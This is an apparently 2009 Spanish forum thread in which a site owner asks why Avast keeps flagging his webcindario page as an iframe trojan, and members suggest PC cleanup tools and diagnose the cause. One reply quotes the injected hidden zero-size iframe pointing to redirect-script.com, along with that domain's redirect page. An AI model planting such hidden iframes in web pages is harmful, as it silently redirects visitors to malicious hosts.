Virus en el sitio - Foros - Ayuda para usuarios

Usuario Novato

#1•08/Oct/2009, 12:58

Tengo un virus en el sitio que solo lo detecta el Avast. Escaneo mi pc y no tengo nada, borro todo del sitio, vuelvo a ftpearlo, y se puede visitar bien, no encuentra nada y al rato o el dia siguiente aparece de nuevo que el sitio tiene virus. El Avast dice:

Archivo: https://cienciaylabor.webcindario.com/{gzip}

Malware: HTML-Illframe-C[Trj]

por favor si me pueden ayudar ya que sino no va a enrtar mas nadie a mi sitio...mil gracias y saludos

PaseanteDelForo

Moderador

#2•08/Oct/2009, 13:36

el virus esta en tu pc, seguro.

existe un monton de sitios donde te van a guiar para eliminar con efectividad, por ejemmplo en foros spyware, aunque te recomiendo los siguientes pasos.

Agenciate un buen antivirus (el avast es valido)

Un antiespias, spyboot por ejemplo o adware, u otros similares.

Pasalo todo, y limpia. Reinicia. Si sigue estando, desactiva restaurar sistema. Y repite operacion. Si se mantine, agenciate una herramienta particular y especifica, como malwarebytes, o htjis, para eliminarlo especificamente. Volver a barrer la casa con antiespias y antivirus...y teoricamente ya no debe estar. Activar de nuevo el restaurar sistema.

De todos modos consultalo en foros especificos si ves que te da mucho problema.

...un espacio personal, así, sin más. No hay porqués, o mas bien hay muchos, pero no tienen importancia. ¿O sí? ..no sé. Los dilemas son mi fuerte, de eso estoy seguro. A partir de ahí, no me responsabilizo de nada.

fabito_mail Usuario Novato
#3•12/Oct/2009, 01:20 mil gracias por tu respuesta, pero hice lo que me dijiste y sigue el virus.

fabito_mail Usuario Novato
#4•12/Oct/2009, 01:39 ah, el sitio es: www.cienciaylabor.webcindario.com y lo detecta el Avast. Por favor si alguien puede ayudarme estaria muy agradecido.

*PaseanteDelForo* Moderador
#5•12/Oct/2009, 01:46 perdona pero me dice que la pagina no existe, cuando picho en el enlace....la has borrado? ...un espacio personal, así, sin más. No hay porqués, o mas bien hay muchos, pero no tienen importancia. ¿O sí? ..no sé. Los dilemas son mi fuerte, de eso estoy seguro. A partir de ahí, no me responsabilizo de nada.

DJMatyX-B4n Usuario habitual
#6•12/Oct/2009, 10:25 La web tiene index.html?

fabito_mail Usuario Novato
#7•13/Oct/2009, 15:03 Escrito originalmente por PaseanteDelForo perdona pero me dice que la pagina no existe, cuando picho en el enlace....la has borrado? es que no queria que ningun visitante se infectara.... ahi la subi de nuevo..... si me podes ayudar te lo recontra agradeceria....saludos

fabito_mail Usuario Novato
#8•13/Oct/2009, 15:06 Escrito originalmente por DJMatyX-B4n La web tiene index.html? soy nuevo en esto, perdon si digo alguna burrada...la web la hice con front page...cuando la abro le doy doble click a index.htm no se si te referias a eso.... si me podrias ayudar te estaria muy agradecido. Saludos,

*PaseanteDelForo* Moderador
#9•13/Oct/2009, 15:47 yo he entrado y no me salta nada..... solo esta subida una pagina ¿verdad? que antivirus tienes? McFee por un casual? ...un espacio personal, así, sin más. No hay porqués, o mas bien hay muchos, pero no tienen importancia. ¿O sí? ..no sé. Los dilemas son mi fuerte, de eso estoy seguro. A partir de ahí, no me responsabilizo de nada.

fabito_mail Usuario Novato
#10•14/Oct/2009, 22:51 Escrito originalmente por PaseanteDelForo yo he entrado y no me salta nada..... solo esta subida una pagina ¿verdad? que antivirus tienes? McFee por un casual? no, el unico que la detecta es el Avast...tengo otras compus con otros antivirus y no detecta nada...no se como arreglar este problema. Si me podes ayudar te agradeceria mucho.

*PaseanteDelForo* Moderador
#11•14/Oct/2009, 23:29 http://www.forospyware.com/t276911.html ...un espacio personal, así, sin más. No hay porqués, o mas bien hay muchos, pero no tienen importancia. ¿O sí? ..no sé. Los dilemas son mi fuerte, de eso estoy seguro. A partir de ahí, no me responsabilizo de nada.

fabito_mail

Usuario Novato

#12•05/Nov/2009, 20:17

Escrito originalmente por PaseanteDelForo

http://www.forospyware.com/t276911.html

El tema es que el virus no esta en mi PC, esta en un volumen infectado del host. Copie la misma pagina, pero cambiandole una letra, y como seguramente se copio en otro volumen, la misma no tiene virus, por lo que confirma que el virus no esta en mi pc.

Por favor, necesito que alguien me ayude...la pagina estaba siendo de utilidad para muchos y ahora dejaron de entrar por temor a infectarse...

en la nueva cambie la "y" por "-".

www.cienciaylabor.webcindario.com (MAL , INFECTADA)

www.ciencia-labor.webcindario.com (OK, sin problemas)

Gracias

NoSetup.org

@man / @woman

#13•05/Nov/2009, 20:26•Editado por NoSetup.org

Aquello de un virus que solo detecta un antivirus es raro... yo uso ESET NOD32 y no me ha detectado nada.

Por otra parte dices que te detecta el Malware: HTML-Illframe-C[Trj], que parece indicar que se ha colado cuando se creo el html, concretamente en el index.html, que te metio

<iframe pvklf='0U2G5rHo' src='http://redirect-script.com/s/in.cgi?7 ' xexpk='NvXEwVRS' width='0' height='0' sty

Si entramos manualmente a http://redirect-script.com/ sale

<html>
 <head>
 <meta http-equiv="REFRESH" content="1; URL='http://google.com'">
 </head>
 <body>
 document moved <a href="http://google.com">here</a>
 </body>
 </html>

Que efectivamente te lleva a Google.

Así mismo, el host es un servidor Linux, aunque no sea inmune a los virus y tal, es raro... además es raro que no se infecten otras webs en el mismo servidor... por lo que me centro en problema en tu PC.

Anterior Siguiente Arriba

Responder

ATENCIÓN: Este tema no tiene actividad desde hace más de 6 MESES,
te recomendamos abrir un nuevo tema en lugar de responder al actual

Inicio

Servicio Foros

Foros - Ayuda para usuarios

Opciones:

Ir al subforo:

Permisos:

TU NO PUEDES Escribir nuevos temas
TU NO PUEDES Responder a los temas
TU NO PUEDES Editar tus propios mensajes
TU NO PUEDES Borrar tus propios mensajes

Temas similares

No se han encontrado temas similares